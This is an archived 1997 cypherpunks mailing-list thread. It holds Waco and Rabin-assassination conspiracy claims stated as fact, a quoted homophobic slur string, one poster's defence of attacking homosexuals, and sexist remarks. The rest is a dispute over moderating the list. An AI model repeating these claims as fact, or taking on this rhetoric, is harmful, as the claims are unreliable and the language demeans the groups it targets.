Snyder, and others conveyed information that children had indeed 
been injured and or killed.  The physical evidence is overwhelming.  
But there remains a question in my mind to this day as to whether the 
ATF had actually assaulted the place on Feb. 27.  Sound crazy?   It 
came from ATF commander Ted Royster's mouth first. In his first press 
briefing, on Sunday afternoon,  Feb. 28, he began (reading from a 
prepared statement), "Yesterday's action, I mean today, er. uh it 
seems like yesterday...."

There is much to question about how it would be possible for TV 
newsmen acting on their own without sattelite-link support, could 
remain at the site of a two and a half hour "gun battle" that began 
at approximately 10 AM for the duration,  slowly walk out (nearly 2 
miles), and have an edited tape of the raid ready to show on Dallas 
TV at 11:30 AM.  Several things about the big lie don't add up!

Ken

ITEM TWO


From: Liberty or Death <ghostpwr@dmi.net>

Subject: Waco Film



>Subject: Review this review of "WACO: The Rules of Engagement"

>Date: Wednesday, January 29, 1997 1:03AM

>

>FOR IMMEDIATE RELEASE

>

>WACO: The Rules of Engagement

>

>Executive Producer Dan Gifford introduces his new documentary, "Waco:

>The Rules of Engagement", which premiered at the Sundance Film Festival, by

>saying words to the effect that "This movie is about looking under rocks

>and finding what we never wanted to know."  The result is an extremely

>disturbing film that should be required viewing for all Americans.  "Waco"

>is a damning indictment of the BATF, the FBI, and the Congressional

>hearings which allegedly investigated the disaster in which four ATF agents

>and 76 Branch Davidians were killed.

>

>Gifford and co-executive director Deborah Sommer-Gifford were inspired

>to make the film when they were presented with aerial "Forward Looking

>Infra-Red" (FLIR) footage taken by FBI surveillance.  The FLIR film

>provides answers to many of the previously unanswered questions about Waco.

>According to Gifford, this film footage had been offered to the major news

>networks and was rejected.

>

>The heart and mind of the film come from the never-before released

>FLIR footage and home videos made by the Branch Davidians with a

>camera given to them by the FBI.  Accompanying them is extensive news

>footage of the events at Waco, C-SPAN tapes of the Congressional hearings,

>transcripts of conversations between the Davidians and negotiators and

>interviews with various experts and key participants

>in the disaster.

>

>The FLIR photography was taken by FBI planes flying over the Davidian

>compound to provide surveillance.  The film, which looks like ordinary

>black and white film, actually measures heat, not light, and is thus

>able to provide a great deal of information about weapons fire as well

>as the inferno that destroyed the complex.  Interpretation of the film

>is provided by an independent company.  The FLIR footage shows conclusively

>that the FBI did fire on the Davidians despite their claims that "not a

>single bullet was ever fired" and that the catastrophic fire was started by

>the FBI firing grenades into the building after refilling it with the

>deadly and flammable CS powder-methylene chloride mixture. It also provides

>strong evidence that the FBI stationed personnel with machine guns outside

>the only exit from the building, which if true, indicates that the FBI's

>intent was to murder the Davidians, not to "rescue hostages".

>

>The FBI gave the Davidians a video camera and tapes to make videos of

>themselves, presumably to help the negotiators understand them better.

>These videos were never released because the FBI feared it would generate

>too much sympathy for the Davidians and David Koresh.  And in fact, the

>video does refute the widely-publicized image of Koresh as a  crazed,

>charismatic and controlling leader, not unlike Charles Manson, and of his

>followers as the "wackos from Waco".

>

>While Koresh was certainly not your "average American", he appears

>rational, intelligent, and committed to teaching his religious beliefs. His

>followers seem to be ordinary people on a spiritual quest, no different

>from many I've encountered in my own spiritual seeking.

>They did not appear to be brainwashed automatons, or homicidal maniacs.

>Many were foreigners and ironically felt they would be safer studying

>religion in the United States.  While sexual practices outside the norm did

>occur, they were consensual.  I saw no evidence of child abuse whatever.

>Clearly the FBI, aided by the media, demonized the Branch Davidians in an

>attempt to dehumanize them.  And dehumanization of the enemy is one of the

>prerequisites for genocide.

>

>Given that the Congressional committee charged with investigating Waco

>had access to all the material presented in this film, the

>investigation can only be considered a farce and a travesty.  With

>rare exceptions, the hearings are shown to be nothing more than a

>compilation of lies and perjury combined with a lot of self-serving

>political grandstanding.  What does stand out, and what gives the

>film its name, is that neither the ATF nor the FBI ever had a detailed,

>organized plan of attack, that there were never any formal rules of

>engagement, and that no contingency plans for failure of the raids,

>injuries, fire, or other foreseeable problems were ever made.

>

>While some have commented that the film appears biased against the

>government, all the involved agencies were invited to participate, to

>be interviewed, and to present  their side of the story.  They all refused.

> And the producers are careful to state that they have no partisan agenda,

>that their goal is to reopen debate on Waco.  They

>appear almost apologetic about the damaging evidence they have collected

>and state they wish someone could or would disprove their findings.  And

>they emphatically do not wish to be associated with "right wing conspiracy

>nuts".

>

>It is of course impossible to do justice to a nearly three hour film

>in a review.  Despite its length, I found it compelling and not at all

>boring or dragging.  Technically, the visuals are mostly dependent on the

>quality of the archival film, although the sound levels could use some

>work.  The musical score was dramatic and quite effective. The film

>includes views of the charred and mutilated bodies of some who died at

>Waco, which I found appropriate, but may be too graphic for some.

>

>YOU need to see "Waco: The Rules of Engagement."  So does every

>American of every political persuasion.  For the past four years, "Remember

>Waco" has been a rallying cry for the "political right"

>and gun owners.  In response, they have been laughed at, dismissed,

>and even accused of being anti-government terrorists. What this film shows

>is human beings being methodically gassed and then burned.

>Anyone and everyone who has ever vowed "Never again" needs to

>view this film and renew that vow.

>

>This is absolutely not a film to celebrate.  There is now evidence

>that people within our government are guilty of genocide and crimes against

>humanity and that they engaged in a huge cover-up.  This

>should sadden and sicken each of us, and it should also motivate us

>to find ways to prevent such a tragedy from occurring ever again.

>If we do not, we become accessories to these crimes.

>

>"Waco" has not yet been accepted for commercial release, although

>negotiations are underway.  If you want to see this film, if you feel

>others should see this film, then you will have to act.  Write to

>Sundance and thank them for making this film available.  (When you consider

>who holds the power at Sundance, it IS rather remarkable

>that "Waco" was shown.)  Encourage them to support its general

>release.  If you have contacts with any film distribution companies,

>ask them to distribute this film.  Write letters to the editors of

>newspapers and magazines.  Tell everyone you know.  If there is a

>demand, if it appears profitable to distribute this documentary, Hollywood

>will most likely cooperate.

>

>Remember that this is NOT about partisan politics, Right vs. Left,

>gun rights, or other divisive issues.  It is about our unalienable

>Constitutional rights to religious freedom, freedom from unreasonable

>search and seizure, and above all the freedom not to be murdered by

>our own government.

>

>As the Talmud commands: "Thou shalt not stand idly by the blood of thy

>brother."

>

>Further information is available at http://www.waco93.com

>

>c 1997, Sarah Thompson, M.D.

>Permission to reprint granted as long as no changes are made and full

>attribution is given.

>

>Sarah Thompson, M.D.

>The Righter

>

>PO Box 271231

>Salt Lake City, UT 84127-1231

>(801) 966-0257 - voice

>(801) 966-7278 - voice/fax

>righter@therighter.com

>        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>  Liberty's Educational Advocacy Forum, Indiana-FIJA, Inc.

>           Url: http://www.iquest.net/~rjtavel/

>               *************************

>            Not a high-tech law firm brochure.

>  Dr. Tavel's Self Help Clinic and Sovereign Law Library

>  promotes "action that raises the cost of state violence

>    for its perpetrators (and) that lays the basis for

>         institutional change " -- Noam Chomsky

>      For Liberty in Our Lifetime, R.J. Tavel, J.D.



- - Monte
-------------------------------------------------------------------------

                         >>> Don't Tread On Me! <<<                    

- -------------------------------------------------------------------------

                                * Psalm 33 *
  -------------------------------------------------------------------------

  "If ye love wealth greater than liberty, the tranquility of servitude 

  greater than the animating contest for freedom, go home from us in    

  peace. We seek not your counsel, nor your arms.  Crouch down and lick 

  the hand that feeds you.  May your chains set lightly upon you; and 

  may posterity forget that ye were our countrymen."    - Samuel Adams
************************************************************ 
The Konformist is interested in accepting articles, 
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The Konformist is a subsidiary of Sterling Operation 
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business needs.  We charge on a sliding scale based on the 
difficulty (and legality) of the proposed solution.  Call 
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Hey kids, don't forget to enter the "Rockin' To Armageddon 
Sweepstakes", sponsored by The Konformist, the Official 
Internet Investigative Journal of the 1997 Academy Awards.
(Okay, it's not official, but we're anti-authority 
anyways.)  Right down the day, month, year, and time of the
end of the world, and, as a tie-breaker, your nominee for the
anti-Christ.  The winner will receive a t-shirt stating, "I 
CameClosest To Predicting The Apocalypse, And All I Got 
Was This Crummy T-Shirt."  You will also receive a free 
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Also, this is a free magazine, but we'll still take your 
money if you want.  Please send cash, check, money orders, 
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Express, or Discover) to: 
 
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Post Office Box 24825 
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************************************************************ 
                       Rob's Place
                  A SITE IS DEDICATED TO
        SPIRIT, TRUTH, PEACE, JUSTICE, AND FREEDOM
              http://www.vom.com/rc/home.htm

Robalini's Note: This is another Rob.  I have no interest in spirit, truth,
peace, justice, and/or freedom.  I do have an interest in making money.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robalini@aol.com
Date: Fri, 14 Feb 1997 14:11:41 -0800 (PST)
Subject: The Konformist: The Chamish Files - The Rabin Hit CONT
Message-ID: <199702142211.OAA15784@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Note: Either you requested to receive a subscription to 
this e-mail, or someone else recommended you to be placed on 
this list.  If you are interested in a free subscription, 
please e-mail Robalini@aol.com with the subject: I NEED TO 
KONFORM.  (Okay, you can use something else, but it's a 
cool catch phrase.)  Please e-mail me back with subject: 
CANCEL KONFORMIST if you're not interested in receiving 
this.  Thanks, Robert Sterling.

Subj:  rubin's secret testimony
Date:  Sun, 09 Feb, 1997 10:59 AM EDT
From:  chamish@netmedia.net.il

 THE AMIR-RUBIN DEBATE:             
 YORAM RUBIN'S SECRET TESTIMONY by Barry Chamish

The author is privy to an important document withheld from the media and
public. It is the testimony of Yitzhak Rabin's personal bodyguard Yoram
Rubin taken from the protocols of the trial of Yigal Amir, the alleged
assassin of Rabin. As we recall, Rubin was the bodyguard who jumped on Rabin
after Amir's alleged first shot and took his second shot in the arm.

What is surprising about the secret testimony is how mundane it is compared
to what Rubin testified to in open court. That testimony is far more damning
to his credibility.

The secret testimony begins with the court asking Rubin why the session
should be closed. Rubin replied, "I don't mind being photographed but within
my story I could touch on matters that I wouldn't want made public."

A representative of the intelligence services then explained that operating
procedures and details of secret servicemen should not be publicized. The
defence argued that the court could decide whether to procede after hearing
its questions. The argument did not sway the judges and they decided to hold
the session in camera and afterwards sign a declaration that they heard
testimony denied the public.

The final declaration of the three judges Levy, Rothlevy and Mordick read
that, "To prevent speculation, we must relate that the previous testimony
was held behind closed doors, is not for public attention and will not be
included in the trial protocols."

In the most bizarre episodes of the trial, Amir acted as his own attorney
and personally questioned Rubin, one of the two men he allegedly shot.

Rubin first testified that seven bodyguards in two groups covered Rabin. He
was then asked by Amir why Rabin didn't wear a bulletproof vest. He
answered, "We judge the situation and decide if a bulletproof vest is called
for. Vests are worn only in exceptional cases. The bodyguards never wear
them." At this point Rubin makes a rather remarkable statement. "There were
previous warnings that an incident could happen."

Needless to say, if there were prior warnings, then it was up to Rubin to
make certain Rabin was wearing a bulletproof vest. Amir did not jump on this
point, rather he returned to the question of the makeup of Rabin's bodyguard
formation.

Amir- You pointed out that seven bodyguards surrounded Rabin.
Rubin- Thre were seven attached to him and twenty in all. I was the
commander of one group, I walked beside him, another preceded him, another
man walked behind him and he was joined by someone to the left, they formed
the pair guarding the rear. One other proceeded forward and another right to
cover the fence on Ibn Gvirol Street.
Amir- You were with Rabin on the left side.
Rubin- No. I didn't walk on his left.

Amir now questioned the security arrangements but did not make his point.
Instead, he digressed, asking questions about whether bulletproof vests can
be discerned under clothing. His attorney, Jonathan Goldberg addressed Rubin
to help get Amir back on the right track.

Defence- Was the protective ring around Rabin different at this rally than
at other events because according to the defendant, he circled the prime
minister and saw that his protective guard was different?
Rubin- It was different.
Defence- The defendant says that at prior events the formation was two
bodyguards on the side, one in front and another in back but this time the
formation was different.
Amir- At the rally when I got into Rabin's range, a hole opened up for me, I
walked around someone and came in from the side. I always wanted to kill
Rabin but I didn't believe that I'd ever have room to push my hand right to
him. But that's what happened in this case. When I walked towards him I saw
a gap open and I shot him in the back.
 
In round one, Amir admits to murdering Rabin but has planted deep suspicions
that he had help from Rubin and other Shabak agents. He stops just short of
saying he couldn't have done it without their help. Of course, the judges
didn't see it that way. But any other objective observor would ask why Rabin
wasn't wearing a bulletproof vest if warnings against his life were
received, why the bodyguards changed their regular formation that night and
how did they allow the gap to open which permitted Amir an unhampered shot
at the prime minister?

end
--------------------------------------------
Sent by Barry Chamish - Israeli journalist.
Phone/Fax : (972)-2-9914936
E-Mail    : chamish@netmedia.net.il
************************************************************ 
The Konformist is interested in accepting articles, 
opinions, free subscriptions, and advertising.  E-mail us at 
Robalini@aol.com, or call (310) 967-4195. 

The Konformist is a subsidiary of Sterling Operation 
Solutions, the trouble-shooting problem-solvers for all 
business needs.  We charge on a sliding scale based on the 
difficulty (and legality) of the proposed solution.  Call 
(310) 967-4195 for further information. 

Hey kids, don't forget to enter the "Rockin' To Armageddon 
Sweepstakes", sponsored by The Konformist, the Official 
Internet Investigative Journal of the 1997 Academy Awards.
(Okay, it's not official, but we're anti-authority 
anyways.)  Right down the day, month, year, and time of the
end of the world, and, as a tie-breaker, your nominee for the
anti-Christ.  The winner will receive a t-shirt stating, "I 
CameClosest To Predicting The Apocalypse, And All I Got 
Was This Crummy T-Shirt."  You will also receive a free 
one year supply of Twix candy bars. 

Also, this is a free magazine, but we'll still take your 
money if you want.  Please send cash, check, money orders, 
and credit card numbers (Visa, Master Card, American 
Express, or Discover) to: 
 
Robert Sterling 
Post Office Box 24825 
Los Angeles, California 90024-0825
************************************************************ 
                       Rob's Place
                  A SITE IS DEDICATED TO
        SPIRIT, TRUTH, PEACE, JUSTICE, AND FREEDOM
              http://www.vom.com/rc/home.htm

Robalini's Note: This is another Rob.  I have no interest in spirit, truth,
peace, justice, and/or freedom.  I do have an interest in making money.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Fri, 14 Feb 1997 15:42:14 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702142342.PAA17460@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation writes:
> If you want to fight censorship effectively, going around telling
> people "You're a shit-eating faggot you fucking cock-sucking homo
> censor" in public forums is not going to win you many points.

On the contrary. 

John Grubor is Usenet's most effective probe as to the mindset of
people who really want free speech. The precise litmus test of
free speech is vehemently offensive things that are spoken.

> Instead, it will quickly land you in many people's killfiles, and will
> eventually lead some people with bad client software to wonder if it
> wouldn't be worth giving up some freedom of speech for the benefit of
> not having to see your rants any more.

Then they don't want free speech. They want the illusion of free
speech, "free speech as long as you don't say THOSE things". 

> Unfortunately, it sort of makes life harder for those who actually
> fight the censorship when you pretend to be one of them.  Your
> argument seems to run something like, "To protect freedom of speech,
> bad all faggots from the net, and especially don't let them run any
> mailing lists."  If this offensive and highly noticeable argument
> eclipses many of the important, fundamental ones as the censors would
> like it too (why do you think your articles make it to cypherpunks-
> flames while mine only get as far as -unedited), you will end up not
> only inducing censorship but also seriously hampering the efforts of
> those who are legitimately fighting that censorship.

Don't you get it? Real censorship issues do not arise until someone
rocks the boat. It takes someone to rock the boat to make you aware
of your own prejudices of that nature. If it takes attacking
homosexuals and pissing them off enough to make them show their
true colors and begin censorship...so be it. Why be civil when that
civility serves to hide that which is ultimately against free speech?

You'll find those of us who -truly- want free speech are extremely
good at ignoring what we don't like.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

Don't teach the blind until you have practiced living with closed eyes







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 14 Feb 1997 15:41:51 -0800 (PST)
To: Tim May <tcmay@got.net>
Subject: Re: Keep it Simple and the Cypherpunk Way
Message-ID: <199702142341.PAA17418@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



what TCM continues to stick his head in the sand over
is the fact that the list noise levels have gotten outlandishly
out of control over recent times, far beyond anything in memory. 
what is it due to? 

it appears that there is a basic law of cyberspace that S/N decreases 
as you add more people. it seems to be a very obvious and repeatable
property.

there are some significant lessons about cryptoanarchy that are
completely evading TCM. how well does anarchy scale? apparently, not
well. TCM would like to pretend that just deleting posts and having
outsider filterers is a "solution" to the problem and argues for
business as usual, upholding the status quo.

the problem is that when you have a deteriorating situation, the
status quo is not a valid concept. keeping the status quo means
further deterioration.

TCM also fails to address the problem of AGENT PROVOCATEURS. the
cyberspace list is intensely fragile and susceptible/ vulnerable
to them as Vulis demonstrates. it only takes ONE and a lot of 
tentacles. does TCM propose a solution to this? no, of course not,
because he has a blind spot when it comes to realizing the
PATENTLY OBVIOUS FLAWS OF CRYPTOANARCHY that stare him in the face.

if cpunks had a formal way of making decisions, and some loyalty
to each other, instead of BAILING OUT at the slightest difficulty,
perhaps the situation would be different, eh? see how quickly people
who were once friends simply WALK OUT on each other in the cryptoanarchist
approach? where is the loyalty? the sense of working for the greater
good? it's gone. TCM simply ABANDONS the list at the first opportunity,
and ignores the years of hard work that J.G. has put into it.

timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing
the logical conclusion of your views playing out before you.
acrimony, bitterness, resignation, chaos, confusion, cacaphony,
anarchy.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 14 Feb 1997 15:43:02 -0800 (PST)
To: Vin McLellan <cypherpunks@toad.com
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702142343.PAA17507@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 3:07 PM -0500 2/14/97, Vin McLellan wrote:

>        My understanding of Sandy's effort, for instance, was that he was to
>filter out the sludge of spam and contentless name-calling with which some
>idiots were flooding the list.  My impression was that he was passing along
>any posts with content (ideas, pro or con, on almost anything) but filtering
>out the empty obscene name-calling and slurs (many of which seemed anon or
>forged, with varied and misleading titles, to duck my kill-file filters.)

Well, Vin, your understanding was flawed. Many thoughtful, "non-sludge"
posts were filtered out. Some never made it to either the "main" list nor
the "flames" list, as all posts were supposed to do.

(John Gilmore acknowledged this in his message. Anyone subscribing to only
the Flames list, as I was for a while, would see some posts not making it
to the Main list (viewable via the archive sites) nor to the Flames list.)

Even my very long and thoughtful (I think, and others have said as much)
essay on why I had been off the list for several weeks was _almost_
censored by Sandy, by his own words. Because he disliked some turn of
phrase I used in describing the ramblings of Toto, Dale Thorn, and Vulis,
he said he almost killed the entire piece, ultimately letting it through as
a "judgment call."

This is what I call a "chilling effect." Never knowing whether one's essays
will pass muster with the Chief Censor is not exactly a reason to spend a
lot of time composing a long piece.

And was my article the kind of "sludge of spam" and "countless
name-calling" you thought the Moderation experiment was all about?

And what of the four or five of my posts a week ago which never made it to
either the Main list or the Flames list? The contained no "sludge of spam"
nor "countless name-calling." What they dealt with was a claim (like this
one) that some posts were not being passed on to either of the two lists,
and that perhaps a conflict of interest was developing.

Does this still match your "understanding of Sandy's effort"?

By the way, I can forward to those who are interested these four or five
posts which got "Meta-Censored." (Unless too many people request
them...I'll promise to forward them to the first five people who request
them...then some of you can repost them to the list and see if they make it
through.)



>        By the logic of Tim and others, a clever and dedicated crusade
>against Cypherpunks by any minimally-organized group, bir or small -- your
>local coven, CoS, RC bishops, FBI, Romanian Govt, , whomever!  -- could have
>destroyed the List at any time in the past.  I'm glad they never realized
>how vulnerable we were;  I've enjoyed this Community greatly  in its current
>manifestation.

The list was not destroyed when S. Boxx/Pablo
Escobar/anon12054/Detweiler/vznuri was blasting us with dozens of messages
a day screaming that "tentacles were eating his brain" and that Cypherpunks
were out to destroy him. Believe me, for those who were there, that was a
topic of much greater daily discussion than the   insult-a-day stuff is
today.

(And yet, because journalists now frequent the CP list in greater numbers
than 2-3 years ago, at least two journalists are sniffing around for a
story on the current situation, where essentially none were very interested
in the Detweiler episode a couple of years ago, which was good. I recall
John Markoff asking me about it at Hackers, in 1993, but he didn't see it
as an especially significant story. I agree with this.)

>         I also hate to think of how gleeful the sociopaths who mail-bombed
>us into the choice of submission or suicide must be today.  I think it is a
>particularly henious crime to destroy a virtual community; something akin to
>book-burning, but maybe more like arson -- like burning village schools.
>
>    There was a willful attempt to destroy C'punks, an attack of depth and
>volume which led many of us (even those who had ignored at least three
>earlier efforts to offer filtered subsets to the List)  to welcome the
>Moderation Experiment. Unfortunately, the attempt at moderation just twisted
>our own energies against ourselves.  We were, perhaps predictably, quite
>easy to manipulate.

On this I agree with Vin. The "censorship" episodes were the predictable
outcome of such attacks, and this "psy-ops" experiment is a victory by
whoever it was who was attacking. Detweiler failed to get the list to start
censorship and "limitations of anarchic freedoms," but the current attacker
has succeeded.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Fri, 14 Feb 1997 15:56:22 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702142356.PAA18027@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Dave Hayes wrote:
> > You'll find those of us who -truly- want free speech are extremely
> > good at ignoring what we don't like.
> Not all of you freedom-knights are good at it at all.

The "us" I mentioned did not refer to the freedom knights, but "those
of us who -truly- want free speech"...a slight english parsing
problem. The freedom knights are a subset of those who want free
speech.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

It is our ability to act as ourselves, freely and of our own choosing,
that is the greatest gift to mankind; my Creator, the sole being in the
universe who legitimately had power over me, gave me that power freely
in order to enable me to become what I am.                  -- Russ Allbery








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Fri, 14 Feb 1997 15:41:30 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Fuck UseNet
Message-ID: <199702142341.PAA17396@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Toto <toto@sk.sympatico.ca> reminds me while I've killfiled him:
>   So, basically, you're saying that the flight from censorship should
> be toward a new CypherPunk 'home' where one is effectively censored
> automatically unless one kisses the ass of a Cabal?

Yup. You're begging resources, deal with it. We didn't kiss John
Gillmore's ass, and he decided that he was tired of the shit and
stopped letting us squat on his land. If we were paying him for the
use of toad, he maybe wouldn't have the right to yank it so suddenly,
but we weren't, so it's his call. Same with usenet. The "cabal" has
high reputation capital. News admins the world over trust them. One
might say that they deserve the respect they get, but that is
immaterial to the discussion. the fact is that people who donate
resources to usenet trust the cabal.

Unless you have a contractual relationship, you're begging, and you
have to convince your benefactors to give you stuff. If you have a
different model for a world economy, feel free to post it. 

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

PS. Of course, the cabal didn't rmgroup alt.cypherpunks, thus showing
that they do have some good sence yet.
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Fri, 14 Feb 1997 15:41:20 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702142341.PAA17371@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Adam Back <aba@dcs.ex.ac.uk> writes:
<snip declan's rather well-balanced article>
> What does `crusty' mean as applied to a former Intel engineer?

Try definition 2

Word         crusty (KRUHS'tee)  adj.
Definition   --adj. -ier, -iest.  1. Like or having a crust.  2. Surly
             or brusk.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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=bB+u
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Fri, 14 Feb 1997 15:55:59 -0800 (PST)
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702142355.PAA17966@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes wrote:
> You'll find those of us who -truly- want free speech are extremely
> good at ignoring what we don't like.

Not all of you freedom-knights are good at it at all.

I would go as far as to say that only you, Dave Hayes, are good at it.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omega@bigeasy.com>
Date: Fri, 14 Feb 1997 15:57:40 -0800 (PST)
To: Martin Minow <fight-censorship@vorlon.mit.edu
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702142357.PAA18119@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> The only other alternative I can see would be to limit membership --
> but not limit what members might write. 

The notion that there are "members" in some kind of formal fashion is 
inherently un-cypherpunk in my book and would most likely be 
rejected.

> Having been "on" the net for over 15 years -- and with experience in
> both ends of the censorship/moderation problem  (I'm probably the
> only Cypherpunks member to have had a book "banned in Boston"), I'm
> sorry that a handful of sociopaths managed to destroy this
> experiment in anarchy, but I suspect that this was inevitable.

In your 15 years on-line you should KNOW that it's an inevitable 
cycle inherent to anarchic forums like cypherpunks.  But the notion 
that cypherpunks is dead and destroyed is silly.  Cypherpunks will 
(and already are) reform and renew as is, I believe, necessary.  
Whether or not the name cypherpunks is used and embraced is 
irrelevant.  Those interested in cryptography as a tool of personal 
privacy and freedom will inevitable congregate in the self-organizing 
fashion that "cypherpunks" have always recognized.

The "human judgement" you are referring to is leadership.  Leadership 
is not necessarily anathema to cypherpunks.  Leadership is provided 
by those who try to post signal and ignore the noise.  Those who 
continue to push the discussion forward.  

People inevitably tire of robust forums such as this.  The sociopaths 
and the leaders come and go in waves.  Let the forum mutate in 
whatever way it chooses.
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:"to get my public key  |   _London_Calling_ , 1980
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Fri, 14 Feb 1997 15:58:03 -0800 (PST)
To: Vin McLellan <vin@shore.net>
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702142358.PAA18139@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Vin McLellan wrote:
> 
>         It's always interesting  to see how another person, particularly a
> writer, filters and reshapes an experience you shared with them .
> Differences in the telling are inevitable -- but I perceived the recent
> experience of the C'punks List quite differently than what Declan described
> and implied in his column.
> 
>         My understanding of Sandy's effort, for instance, was that he was to
> filter out the sludge of spam and contentless name-calling with which some
> idiots were flooding the list.  My impression was that he was passing along
> any posts with content (ideas, pro or con, on almost anything) but filtering
> out the empty obscene name-calling and slurs (many of which seemed anon or
> forged, with varied and misleading titles, to duck my kill-file filters.)

May I ask you, what is the basis of "your understanding"?

Did you form your impression upon reading only the materials from
the list that was filtered by Sandy? Or you also read the flames and
unedited lists?

In the latter case, you have no basis for any claims regarding Sandy's
policy.

I do have a list of subscribers to the unedited list, and you were not
on it.

>         I, for one, was appreciative. 

>         By the logic of Tim and others, a clever and dedicated crusade
> against Cypherpunks by any minimally-organized group, bir or small -- your
> local coven, CoS, RC bishops, FBI, Romanian Govt, , whomever!  -- could have
> destroyed the List at any time in the past. 

But of course.

> I'm glad they never realized
> how vulnerable we were;  I've enjoyed this Community greatly  in its current
> manifestation. 

Maybe they realized it and were not really bothered by this list because
of this lameness. What if all these anti-government rants were just
feeding the illusion of grandeur.

>          I also hate to think of how gleeful the sociopaths who mail-bombed
> us into the choice of submission or suicide must be today.  I think it is a
> particularly henious crime to destroy a virtual community; something akin to
> book-burning, but maybe more like arson -- like burning village schools.  

It is because you wanted to take everything from them.

>     There was a willful attempt to destroy C'punks, an attack of depth and
> volume which led many of us (even those who had ignored at least three
> earlier efforts to offer filtered subsets to the List)  to welcome the
> Moderation Experiment. Unfortunately, the attempt at moderation just twisted
> our own energies against ourselves.  We were, perhaps predictably, quite
> easy to manipulate.

It is a question of what you think is manipulation.

>         If I have any criticism of John et al, it is that our List-Owner (a
> statement of function, rather than property) never gave the List Community
> an overt option to vote for  minimal moderation.  A tactical error.  That
> that allowed the anarchists, nihlists, and others pure of heart to focus
> their ire on toad.com and Sandy -- rather than on those of us who (when John
> finally acted) might have gladly re-subscribed to another version of the
> List in order to obtain minimal spam and slur filtration.  

Yes, if moderation created a new place in cyberspace, it would have been
less controversial.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Fri, 14 Feb 1997 15:42:13 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702142342.PAA17455@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997 paul@fatmans.demon.co.uk wrote:

> Here I can agree, I personally discriminate on the basis of sex, not 
> in that I believe women inferior to men but rather that I believe 
> each sex better suited to different tasks and vocations.
> That is not, however, to say that I believe women should be prevented 
> from taking up lines of work that men traditionally hold.
> They are free to do so, but as in the example you give later 
> I would feel uncomfortable having my car serviced by a woman.

<flame-retardant suit on>

Normally I would ignore this sort of comment (which probably belongs in 
some soc. newsgroup), but I feel obliged to point out that:

- The female <mechanic / scientist / engineer>, in addition to passing the
same exams as her male classmates, has probably had to put up with a fair
load of B.S. questioning her right and ability to be there.  The ones that
keep at it long enough to graduate are the ones that *really* want to do 
whatever it is, and IMHO are more likely to try harder.

- If she has been in business for a while, this means she has attracted
and kept customers in spite of the attitude displayed in previous posts. 
